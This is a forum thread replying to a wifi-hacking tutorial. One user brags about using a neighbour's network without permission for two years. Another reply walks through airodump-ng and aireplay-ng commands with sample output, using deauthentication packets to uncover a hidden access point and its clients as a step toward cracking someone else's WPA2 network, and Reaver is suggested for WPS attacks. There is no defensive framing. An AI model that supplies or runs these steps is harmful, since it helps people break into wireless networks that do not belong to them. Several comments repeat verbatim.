[Fury_mybb_import13756]

Nice Tutorial .

[Fury_mybb_import13756]

Nice Tutorial .

[mikeisnow]

this one seems hard to work with eh.

[mikeisnow]

this one seems hard to work with eh.

[mikeisnow]

this one seems hard to work with eh.

[mikeisnow]

this one seems hard to work with eh.

[westali]

Method #2 implies that the target AP has WPS enabled and is not patched against this attack..

[ph4ntom nuk3r]

Now i am using my neighbour wifi for free its totaly near to 2 years. .

Just use my brain to crack it lol...
They have change the pssword for several times and similar.

[ph4ntom nuk3r]

my target AP has wps: no when i use command: wash -i mon0 -C, but the result of using reaver was: Warning: Failed to associate with bssid (essid: xxxxxxx). in the past, i've successfully hacked this AP. but now, i cannot. can you help me?

done use single tools to attack. .
use another program to

do you get bssid:00:00:00:00:00:00 <this is hidden> its mac protected!

use this tools. .
(backtrack)

cmd:airodump-ng wlan1

The readout should be something like this:

CH 9 ][ BAT: 2 hours 18 mins ][ Elapsed: 8 s ][ 2013-11-6 04:55

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
28:EF:01:34:64:91 -28 19 1 0 6 54e WPA2 CCMP PSK linksys
28:EF:01:35:34:85 -41 17 0 0 6 54e WPA2 CCMP PSK <length: 6>
BSSID STATION PWR Rate Lost Packets Probes
28:EF:01:35:34:85 28:EF:01:23:45:67 -57 0 - 1 0



2) u will see the hidden bssid and use this cmd:

airodump-ng -c 6 --bssid 28:EF:01:35:34:85 wlan1

explanation of the switches are

-c = channel of target access point
--bssid = MAC address from the target access point


The airdump-ng readout should look like now:

CH 6 ][ BAT: 2 hours 18 mins ][ Elapsed: 8 s ][ 2013-11-6 04:55

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

28:EF:01:35:34:85 -42 17 0 0 6 54e WPA2 CCMP PSK <length: 6>

BSSID STATION PWR Rate Lost Packets Probes

28:EF:01:35:34:85 28:EF:01:23:45:67 -57 0 - 1 0 1

Now open a new terminal window and leave airodump-ng running.

Run this cmd in the new terminal. :-

aireplay-ng -0 30 -a 28:EF:01:35:34:85 -c 28:EF:01:23:45:67 wlan1

this cmd are as follows

-0 = Attack mode 0= de-authentication (The number following this indicates the number of packets.)
-a = Target access point mac address
-c = Target client mac address

Now switch back to the original terminal window that still has airodump-ng running.

This is what it should now look like:

CH 6 ][ BAT: 2 hours 18 mins ][ Elapsed: 8 s ][ 2013-11-6 04:55

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

28:EF:01:35:34:85 -42 17 0 0 6 54e WPA2 CCMP PSK hacked

BSSID STATION PWR Rate Lost Packets Probes

28:EF:01:35:34:85 28:EF:01:23:45:67 -57 0 - 1 0 1 hacked



If it does not work the first time try aireplay-ng again until it works .. :Smile:

[knightserv]

You should try using Reaver it hack wifi threw WPS.